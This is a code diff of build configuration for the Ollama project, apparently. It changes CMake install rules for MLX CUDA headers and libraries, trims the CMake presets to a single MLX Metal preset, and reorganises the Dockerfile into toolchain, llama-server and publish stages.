# ${OLLAMA_INSTALL_DIR}/include/cccl/{cuda,nv}/ — CCCL headers
|
||||
# ${OLLAMA_INSTALL_DIR}/include/*.h — CUDA toolkit headers
|
||||
#
|
||||
# MLX's jit_module.cpp resolves CCCL via
|
||||
# current_binary_dir()[.parent_path()] / "include" / "cccl"
|
||||
# On Linux, MLX's jit_module.cpp resolves CCCL via
|
||||
# current_binary_dir().parent_path() / "include" / "cccl", so we create a
|
||||
# symlink from lib/ollama/include -> ${OLLAMA_RUNNER_DIR}/include
|
||||
# This will need refinement if we add multiple CUDA versions for MLX in the future.
|
||||
# CUDA runtime headers are found via CUDA_PATH env var (set by mlxrunner).
|
||||
if(EXISTS ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda)
|
||||
install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
|
||||
COMPONENT MLX)
|
||||
install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/nv
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
|
||||
COMPONENT MLX)
|
||||
if(NOT WIN32 AND NOT APPLE)
|
||||
install(CODE "
|
||||
set(_link \"${CMAKE_INSTALL_PREFIX}/lib/ollama/include\")
|
||||
set(_target \"${OLLAMA_RUNNER_DIR}/include\")
|
||||
if(NOT EXISTS \${_link})
|
||||
execute_process(COMMAND \${CMAKE_COMMAND} -E create_symlink \${_target} \${_link})
|
||||
endif()
|
||||
" COMPONENT MLX)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
# Install minimal CUDA toolkit headers needed by MLX JIT kernels.
|
||||
# These are the transitive closure of includes from mlx/backend/cuda/device/*.cuh.
|
||||
# The Go mlxrunner sets CUDA_PATH to OLLAMA_INSTALL_DIR so MLX finds them at
|
||||
# $CUDA_PATH/include/*.h via NVRTC --include-path.
|
||||
if(CUDAToolkit_FOUND)
|
||||
# CUDAToolkit_INCLUDE_DIRS may be a semicolon-separated list
|
||||
# (e.g. ".../include;.../include/cccl"). Find the entry that
|
||||
# contains the CUDA runtime headers we need.
|
||||
set(_cuda_inc "")
|
||||
foreach(_dir ${CUDAToolkit_INCLUDE_DIRS})
|
||||
if(EXISTS "${_dir}/cuda_runtime_api.h")
|
||||
set(_cuda_inc "${_dir}")
|
||||
break()
|
||||
endif()
|
||||
endforeach()
|
||||
if(NOT _cuda_inc)
|
||||
message(WARNING "Could not find cuda_runtime_api.h in CUDAToolkit_INCLUDE_DIRS: ${CUDAToolkit_INCLUDE_DIRS}")
|
||||
else()
|
||||
set(_dst "${OLLAMA_INSTALL_DIR}/include")
|
||||
set(_MLX_JIT_CUDA_HEADERS
|
||||
builtin_types.h
|
||||
cooperative_groups.h
|
||||
cuda_bf16.h
|
||||
cuda_bf16.hpp
|
||||
cuda_device_runtime_api.h
|
||||
cuda_fp16.h
|
||||
cuda_fp16.hpp
|
||||
cuda_fp8.h
|
||||
cuda_fp8.hpp
|
||||
cuda_runtime_api.h
|
||||
device_types.h
|
||||
driver_types.h
|
||||
math_constants.h
|
||||
surface_types.h
|
||||
texture_types.h
|
||||
vector_functions.h
|
||||
vector_functions.hpp
|
||||
vector_types.h
|
||||
)
|
||||
foreach(_hdr ${_MLX_JIT_CUDA_HEADERS})
|
||||
install(FILES "${_cuda_inc}/${_hdr}"
|
||||
DESTINATION ${_dst}
|
||||
COMPONENT MLX)
|
||||
endforeach()
|
||||
# Subdirectory headers
|
||||
install(DIRECTORY "${_cuda_inc}/cooperative_groups"
|
||||
DESTINATION ${_dst}
|
||||
COMPONENT MLX
|
||||
FILES_MATCHING PATTERN "*.h")
|
||||
install(FILES "${_cuda_inc}/crt/host_defines.h"
|
||||
DESTINATION "${_dst}/crt"
|
||||
COMPONENT MLX)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
# On Windows, explicitly install dl.dll (dlfcn-win32 POSIX dlopen emulation)
|
||||
# RUNTIME_DEPENDENCIES auto-excludes it via POST_EXCLUDE_FILES_STRICT because
|
||||
# dlfcn-win32 is a known CMake target with its own install rules (which install
|
||||
# to the wrong destination). We must install it explicitly here.
|
||||
if(WIN32)
|
||||
install(FILES ${OLLAMA_BUILD_DIR}/dl.dll
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}
|
||||
COMPONENT MLX)
|
||||
endif()
|
||||
|
||||
# Manually install CUDA runtime libraries that MLX loads via dlopen
|
||||
# (not detected by RUNTIME_DEPENDENCIES since they aren't link-time deps)
|
||||
if(CUDAToolkit_FOUND)
|
||||
file(GLOB MLX_CUDA_LIBS
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcudart.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcublas.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcublasLt.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libnvrtc.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libnvrtc-builtins.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcufft.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcudnn.so*")
|
||||
if(MLX_CUDA_LIBS)
|
||||
install(FILES ${MLX_CUDA_LIBS}
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}
|
||||
COMPONENT MLX_VENDOR)
|
||||
endif()
|
||||
endif()
|
||||
if(EXISTS "${CMAKE_CURRENT_SOURCE_DIR}/llama/server/CMakeLists.txt")
|
||||
set(OLLAMA_HAVE_LLAMA_SERVER TRUE)
|
||||
else()
|
||||
set(OLLAMA_HAVE_LLAMA_SERVER FALSE)
|
||||
endif()
|
||||
include(${CMAKE_CURRENT_SOURCE_DIR}/cmake/local.cmake)
|
||||
+5
-169
@@ -11,109 +11,10 @@
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "CPU",
|
||||
"inherits": [ "Default" ]
|
||||
},
|
||||
{
|
||||
"name": "CUDA",
|
||||
"inherits": [ "Default" ]
|
||||
},
|
||||
{
|
||||
"name": "CUDA 11",
|
||||
"inherits": [ "CUDA" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_CUDA_ARCHITECTURES": "50-virtual;60-virtual;61-virtual;70-virtual;75-virtual;80-virtual;86-virtual;87-virtual;89-virtual;90-virtual",
|
||||
"CMAKE_CUDA_FLAGS": "-Wno-deprecated-gpu-targets -t 2",
|
||||
"OLLAMA_RUNNER_DIR": "cuda_v11"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "CUDA 12",
|
||||
"inherits": [ "CUDA" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_CUDA_ARCHITECTURES": "50;52;60;61;70;75;80;86;89;90;90a;120",
|
||||
"CMAKE_CUDA_FLAGS": "-Wno-deprecated-gpu-targets -t 2",
|
||||
"OLLAMA_RUNNER_DIR": "cuda_v12"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "CUDA 13",
|
||||
"inherits": [ "CUDA" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;87-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual",
|
||||
"CMAKE_CUDA_FLAGS": "-t 2",
|
||||
"OLLAMA_RUNNER_DIR": "cuda_v13"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "JetPack 5",
|
||||
"inherits": [ "CUDA" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_CUDA_ARCHITECTURES": "72;87",
|
||||
"OLLAMA_RUNNER_DIR": "cuda_jetpack5"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "JetPack 6",
|
||||
"inherits": [ "CUDA" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_CUDA_ARCHITECTURES": "87",
|
||||
"OLLAMA_RUNNER_DIR": "cuda_jetpack6"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "ROCm",
|
||||
"name": "MLX Metal",
|
||||
"inherits": [ "Default" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_HIP_PLATFORM": "amd"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "ROCm 6",
|
||||
"inherits": [ "ROCm" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_HIP_FLAGS": "-parallel-jobs=4",
|
||||
"AMDGPU_TARGETS": "gfx940;gfx941;gfx942;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102;gfx1151;gfx1200;gfx1201;gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-",
|
||||
"OLLAMA_RUNNER_DIR": "rocm"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "ROCm 7",
|
||||
"inherits": [ "ROCm" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_HIP_FLAGS": "-parallel-jobs=4",
|
||||
"AMDGPU_TARGETS": "gfx942;gfx950;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102;gfx1103;gfx1150;gfx1151;gfx1200;gfx1201;gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-",
|
||||
"OLLAMA_RUNNER_DIR": "rocm"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "Vulkan",
|
||||
"inherits": [ "Default" ],
|
||||
"cacheVariables": {
|
||||
"OLLAMA_RUNNER_DIR": "vulkan"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "MLX",
|
||||
"inherits": [ "Default" ],
|
||||
"cacheVariables": {
|
||||
"MLX_ENGINE": "ON",
|
||||
"OLLAMA_RUNNER_DIR": "mlx"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "MLX CUDA 12",
|
||||
"inherits": [ "MLX", "CUDA 12" ],
|
||||
"cacheVariables": {
|
||||
"OLLAMA_RUNNER_DIR": "mlx_cuda_v12"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "MLX CUDA 13",
|
||||
"inherits": [ "MLX", "CUDA 13" ],
|
||||
"cacheVariables": {
|
||||
"MLX_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual",
|
||||
"OLLAMA_RUNNER_DIR": "mlx_cuda_v13"
|
||||
"OLLAMA_MLX_BACKENDS": "metal_v3;metal_v4"
|
||||
}
|
||||
}
|
||||
],
|
||||
@@ -124,74 +25,9 @@
|
||||
"configuration": "Release"
|
||||
},
|
||||
{
|
||||
"name": "CPU",
|
||||
"configurePreset": "Default",
|
||||
"targets": [ "ggml-cpu" ]
|
||||
},
|
||||
{
|
||||
"name": "CUDA",
|
||||
"configurePreset": "CUDA",
|
||||
"targets": [ "ggml-cuda" ]
|
||||
},
|
||||
{
|
||||
"name": "CUDA 11",
|
||||
"inherits": [ "CUDA" ],
|
||||
"configurePreset": "CUDA 11"
|
||||
},
|
||||
{
|
||||
"name": "CUDA 12",
|
||||
"inherits": [ "CUDA" ],
|
||||
"configurePreset": "CUDA 12"
|
||||
},
|
||||
{
|
||||
"name": "CUDA 13",
|
||||
"inherits": [ "CUDA" ],
|
||||
"configurePreset": "CUDA 13"
|
||||
},
|
||||
{
|
||||
"name": "JetPack 5",
|
||||
"inherits": [ "CUDA" ],
|
||||
"configurePreset": "JetPack 5"
|
||||
},
|
||||
{
|
||||
"name": "JetPack 6",
|
||||
"inherits": [ "CUDA" ],
|
||||
"configurePreset": "JetPack 6"
|
||||
},
|
||||
{
|
||||
"name": "ROCm",
|
||||
"configurePreset": "ROCm",
|
||||
"targets": [ "ggml-hip" ]
|
||||
},
|
||||
{
|
||||
"name": "ROCm 6",
|
||||
"inherits": [ "ROCm" ],
|
||||
"configurePreset": "ROCm 6"
|
||||
},
|
||||
{
|
||||
"name": "ROCm 7",
|
||||
"inherits": [ "ROCm" ],
|
||||
"configurePreset": "ROCm 7"
|
||||
},
|
||||
{
|
||||
"name": "Vulkan",
|
||||
"targets": [ "ggml-vulkan" ],
|
||||
"configurePreset": "Vulkan"
|
||||
},
|
||||
{
|
||||
"name": "MLX",
|
||||
"targets": [ "mlx", "mlxc" ],
|
||||
"configurePreset": "MLX"
|
||||
},
|
||||
{
|
||||
"name": "MLX CUDA 12",
|
||||
"targets": [ "mlx", "mlxc" ],
|
||||
"configurePreset": "MLX CUDA 12"
|
||||
},
|
||||
{
|
||||
"name": "MLX CUDA 13",
|
||||
"targets": [ "mlx", "mlxc" ],
|
||||
"configurePreset": "MLX CUDA 13"
|
||||
"name": "MLX Metal",
|
||||
"targets": [ "ollama-mlx-backends" ],
|
||||
"configurePreset": "MLX Metal"
|
||||
}
|
||||
]
|
||||
}
|
||||
+185
-101
@@ -37,116 +37,171 @@ RUN dnf install -y unzip \
|
||||
ENV CMAKE_GENERATOR=Ninja
|
||||
ENV LDFLAGS=-s
|
||||
|
||||
FROM base AS cpu
|
||||
#
|
||||
# GPU toolchain stages — provide compilers for llama-server GPU builds
|
||||
#
|
||||
|
||||
FROM base AS cpu-deps
|
||||
RUN dnf install -y gcc-toolset-11-gcc gcc-toolset-11-gcc-c++
|
||||
ENV PATH=/opt/rh/gcc-toolset-11/root/usr/bin:$PATH
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'CPU' \
|
||||
&& cmake --build --preset 'CPU' -- -l $(nproc) \
|
||||
&& cmake --install build --component CPU --strip
|
||||
|
||||
FROM base AS cuda-11
|
||||
ARG CUDA11VERSION=11.8
|
||||
RUN dnf install -y cuda-toolkit-${CUDA11VERSION//./-}
|
||||
ENV PATH=/usr/local/cuda-11/bin:$PATH
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'CUDA 11' \
|
||||
&& cmake --build --preset 'CUDA 11' -- -l $(nproc) \
|
||||
&& cmake --install build --component CUDA --strip
|
||||
|
||||
FROM base AS cuda-12
|
||||
FROM base AS cuda-12-deps
|
||||
ARG CUDA12VERSION=12.8
|
||||
RUN dnf install -y cuda-toolkit-${CUDA12VERSION//./-}
|
||||
ENV PATH=/usr/local/cuda-12/bin:$PATH
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'CUDA 12' \
|
||||
&& cmake --build --preset 'CUDA 12' -- -l $(nproc) \
|
||||
&& cmake --install build --component CUDA --strip
|
||||
|
||||
|
||||
FROM base AS cuda-13
|
||||
FROM base AS cuda-13-deps
|
||||
ARG CUDA13VERSION=13.0
|
||||
RUN dnf install -y cuda-toolkit-${CUDA13VERSION//./-}
|
||||
ENV PATH=/usr/local/cuda-13/bin:$PATH
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'CUDA 13' \
|
||||
&& cmake --build --preset 'CUDA 13' -- -l $(nproc) \
|
||||
&& cmake --install build --component CUDA --strip
|
||||
|
||||
FROM base AS rocm-7-deps
|
||||
ENV PATH=/opt/rocm/llvm/bin:/opt/rocm/hcc/bin:/opt/rocm/hip/bin:/opt/rocm/bin:$PATH
|
||||
|
||||
FROM base AS rocm-7
|
||||
ENV PATH=/opt/rocm/hcc/bin:/opt/rocm/hip/bin:/opt/rocm/bin:/opt/rocm/hcc/bin:$PATH
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'ROCm 7' \
|
||||
&& cmake --build --preset 'ROCm 7' -- -l $(nproc) \
|
||||
&& cmake --install build --component HIP --strip
|
||||
RUN rm -f dist/lib/ollama/rocm/rocblas/library/*gfx90[06]*
|
||||
|
||||
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK5VERSION} AS jetpack-5
|
||||
ARG CMAKEVERSION
|
||||
ARG NINJAVERSION
|
||||
RUN apt-get update && apt-get install -y curl ccache unzip \
|
||||
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
|
||||
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
|
||||
&& unzip /tmp/ninja.zip -d /usr/local/bin \
|
||||
&& rm /tmp/ninja.zip
|
||||
ENV CMAKE_GENERATOR=Ninja
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'JetPack 5' \
|
||||
&& cmake --build --preset 'JetPack 5' -- -l $(nproc) \
|
||||
&& cmake --install build --component CUDA --strip
|
||||
|
||||
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK6VERSION} AS jetpack-6
|
||||
ARG CMAKEVERSION
|
||||
ARG NINJAVERSION
|
||||
RUN apt-get update && apt-get install -y curl ccache unzip \
|
||||
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
|
||||
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
|
||||
&& unzip /tmp/ninja.zip -d /usr/local/bin \
|
||||
&& rm /tmp/ninja.zip
|
||||
ENV CMAKE_GENERATOR=Ninja
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'JetPack 6' \
|
||||
&& cmake --build --preset 'JetPack 6' -- -l $(nproc) \
|
||||
&& cmake --install build --component CUDA --strip
|
||||
|
||||
FROM base AS vulkan
|
||||
FROM base AS vulkan-deps
|
||||
ARG VULKANVERSION
|
||||
RUN ln -s /usr/bin/python3 /usr/bin/python \
|
||||
&& wget https://sdk.lunarg.com/sdk/download/${VULKANVERSION}/linux/vulkansdk-linux-x86_64-${VULKANVERSION}.tar.xz -O /tmp/vulkansdk.tar.xz \
|
||||
&& tar xvf /tmp/vulkansdk.tar.xz -C /tmp \
|
||||
&& /tmp/${VULKANVERSION}/vulkansdk -j 8 vulkan-headers \
|
||||
&& /tmp/${VULKANVERSION}/vulkansdk -j 8 spirv-headers \
|
||||
&& /tmp/${VULKANVERSION}/vulkansdk -j 8 shaderc \
|
||||
&& cp -r /tmp/${VULKANVERSION}/x86_64/include/* /usr/local/include/ \
|
||||
&& cp -r /tmp/${VULKANVERSION}/x86_64/lib/* /usr/local/lib \
|
||||
&& cp -r /tmp/${VULKANVERSION}/x86_64/share/* /usr/local/share/ \
|
||||
&& cp -r /tmp/${VULKANVERSION}/x86_64/bin/* /usr/local/bin/ \
|
||||
&& rm -rf /tmp/${VULKANVERSION} /tmp/vulkansdk.tar.xz
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
ENV VULKAN_SDK=/usr/local
|
||||
|
||||
#
|
||||
# llama-server stages — rebuild when LLAMA_CPP_VERSION, llama/server/, or llama/compat/ changes.
|
||||
#
|
||||
# CPU stage: llama-server + ggml-base + ggml-cpu variants → lib/ollama/
|
||||
# GPU stages: GPU backend .so only → lib/ollama/<variant>/
|
||||
#
|
||||
|
||||
FROM cpu-deps AS llama-server-cpu
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'Vulkan' \
|
||||
&& cmake --build --preset 'Vulkan' -- -l $(nproc) \
|
||||
&& cmake --install build --component Vulkan --strip
|
||||
cmake -S llama/server --preset cpu \
|
||||
&& cmake --build build/llama-server-cpu -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-cpu --component llama-server --strip \
|
||||
&& for lib in \
|
||||
/usr/lib64/libgomp.so* \
|
||||
/usr/lib64/libomp.so* \
|
||||
/opt/rh/gcc-toolset-11/root/usr/lib64/libgomp.so* \
|
||||
/opt/rh/gcc-toolset-11/root/usr/lib64/libomp.so*; do \
|
||||
[ -e "$lib" ] && cp -a "$lib" dist/lib/ollama/ || true; \
|
||||
done
|
||||
|
||||
FROM scratch AS publish-llama-server-cpu
|
||||
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM cuda-12-deps AS llama-server-cuda_v12
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset llama_cuda_v12_linux \
|
||||
&& cmake --build build/llama-server-cuda_v12 -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-cuda_v12 --component llama-server --strip
|
||||
|
||||
FROM scratch AS publish-llama-server-cuda_v12
|
||||
COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM cuda-13-deps AS llama-server-cuda_v13
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset llama_cuda_v13_linux \
|
||||
&& cmake --build build/llama-server-cuda_v13 -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-cuda_v13 --component llama-server --strip
|
||||
|
||||
FROM scratch AS publish-llama-server-cuda_v13
|
||||
COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM rocm-7-deps AS llama-server-rocm_v7_2
|
||||
ENV CC=clang CXX=clang++
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset rocm_v7_2_linux \
|
||||
&& cmake --build build/llama-server-rocm_v7_2 -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-rocm_v7_2 --component llama-server --strip
|
||||
RUN rm -f dist/lib/ollama/rocm_v7_2/rocblas/library/*gfx90[06]*
|
||||
|
||||
FROM scratch AS publish-llama-server-rocm_v7_2
|
||||
COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM vulkan-deps AS llama-server-vulkan
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset vulkan \
|
||||
&& cmake --build build/llama-server-vulkan -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-vulkan --component llama-server --strip
|
||||
|
||||
FROM scratch AS publish-llama-server-vulkan
|
||||
COPY --from=llama-server-vulkan dist/lib/ollama /lib/ollama/
|
||||
|
||||
#
|
||||
# JetPack stages — self-contained with their own base images
|
||||
#
|
||||
|
||||
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK5VERSION} AS jetpack-5
|
||||
ARG CMAKEVERSION
|
||||
ARG NINJAVERSION
|
||||
RUN apt-get update && apt-get install -y curl ccache git unzip \
|
||||
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
|
||||
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
|
||||
&& unzip /tmp/ninja.zip -d /usr/local/bin \
|
||||
&& rm /tmp/ninja.zip
|
||||
ENV CMAKE_GENERATOR=Ninja
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset llama_cuda_jetpack5 \
|
||||
&& cmake --build build/llama-server-cuda_jetpack5 -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-cuda_jetpack5 --component llama-server --strip
|
||||
|
||||
FROM scratch AS publish-llama-server-cuda_jetpack5
|
||||
COPY --from=jetpack-5 dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK6VERSION} AS jetpack-6
|
||||
ARG CMAKEVERSION
|
||||
ARG NINJAVERSION
|
||||
RUN apt-get update && apt-get install -y curl ccache git unzip \
|
||||
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
|
||||
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
|
||||
&& unzip /tmp/ninja.zip -d /usr/local/bin \
|
||||
&& rm /tmp/ninja.zip
|
||||
ENV CMAKE_GENERATOR=Ninja
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset llama_cuda_jetpack6 \
|
||||
&& cmake --build build/llama-server-cuda_jetpack6 -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-cuda_jetpack6 --component llama-server --strip
|
||||
|
||||
FROM scratch AS publish-llama-server-cuda_jetpack6
|
||||
COPY --from=jetpack-6 dist/lib/ollama /lib/ollama/
|
||||
|
||||
#
|
||||
# MLX stage
|
||||
#
|
||||
|
||||
FROM base AS mlx
|
||||
ARG CUDA13VERSION=13.0
|
||||
# OLLAMA_MLX_BUILD_JOBS empty -> ninja gates by load average (-l $(nproc))
|
||||
ARG OLLAMA_MLX_BUILD_JOBS=
|
||||
ARG OLLAMA_MLX_NVCC_THREADS=2
|
||||
ARG MLX_CUDA_RAM_MB=
|
||||
RUN dnf install -y cuda-toolkit-${CUDA13VERSION//./-} \
|
||||
&& dnf install -y openblas-devel lapack-devel \
|
||||
&& dnf install -y libcudnn9-cuda-13 libcudnn9-devel-cuda-13 \
|
||||
@@ -157,7 +212,7 @@ ENV LAPACK_INCLUDE_DIRS=/usr/include/openblas
|
||||
ENV CGO_LDFLAGS="-L/usr/local/cuda-13/lib64 -L/usr/local/cuda-13/targets/x86_64-linux/lib/stubs"
|
||||
WORKDIR /go/src/github.com/ollama/ollama
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
COPY cmake cmake
|
||||
COPY x/imagegen/mlx x/imagegen/mlx
|
||||
COPY go.mod go.sum .
|
||||
COPY MLX_VERSION MLX_C_VERSION .
|
||||
@@ -173,10 +228,15 @@ RUN --mount=type=cache,target=/root/.ccache \
|
||||
&& if [ -f /tmp/local-mlx-c/CMakeLists.txt ]; then \
|
||||
export OLLAMA_MLX_C_SOURCE=/tmp/local-mlx-c; \
|
||||
fi \
|
||||
&& cmake --preset 'MLX CUDA 13' -DBLAS_INCLUDE_DIRS=/usr/include/openblas -DLAPACK_INCLUDE_DIRS=/usr/include/openblas -DCMAKE_CUDA_FLAGS="-t ${OLLAMA_MLX_NVCC_THREADS}" \
|
||||
&& cmake --build --preset 'MLX CUDA 13' -- -l $(nproc) ${OLLAMA_MLX_BUILD_JOBS:+-j ${OLLAMA_MLX_BUILD_JOBS}} \
|
||||
&& cmake --install build --component MLX --strip \
|
||||
&& cmake --install build --component MLX_VENDOR
|
||||
&& cmake -S . -B build/mlx_cuda_v13 -DOLLAMA_MLX_BACKENDS=cuda_v13 -DBLAS_INCLUDE_DIRS=/usr/include/openblas -DLAPACK_INCLUDE_DIRS=/usr/include/openblas -DCMAKE_CUDA_FLAGS="-t ${OLLAMA_MLX_NVCC_THREADS}" ${MLX_CUDA_RAM_MB:+-DMLX_CUDA_RAM_MB=${MLX_CUDA_RAM_MB}} -DOLLAMA_PAYLOAD_INSTALL_PREFIX=/go/src/github.com/ollama/ollama/dist \
|
||||
&& cmake --build build/mlx_cuda_v13 --target ollama-mlx-cuda_v13 -- -l $(nproc) ${OLLAMA_MLX_BUILD_JOBS:+-j ${OLLAMA_MLX_BUILD_JOBS}}
|
||||
|
||||
FROM scratch AS publish-mlx
|
||||
COPY --from=mlx /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
|
||||
|
||||
#
|
||||
# Go build
|
||||
#
|
||||
|
||||
FROM base AS build
|
||||
WORKDIR /go/src/github.com/ollama/ollama
|
||||
@@ -194,38 +254,62 @@ ENV CGO_CXXFLAGS="${CGO_CXXFLAGS}"
|
||||
RUN --mount=type=cache,target=/root/.cache/go-build \
|
||||
go build -trimpath -buildmode=pie -o /bin/ollama .
|
||||
|
||||
FROM scratch AS publish-go
|
||||
COPY --from=build /bin/ollama /bin/ollama
|
||||
|
||||
#
|
||||
# Assembly stages — combine llama-server variants + GPU runtime libs
|
||||
#
|
||||
|
||||
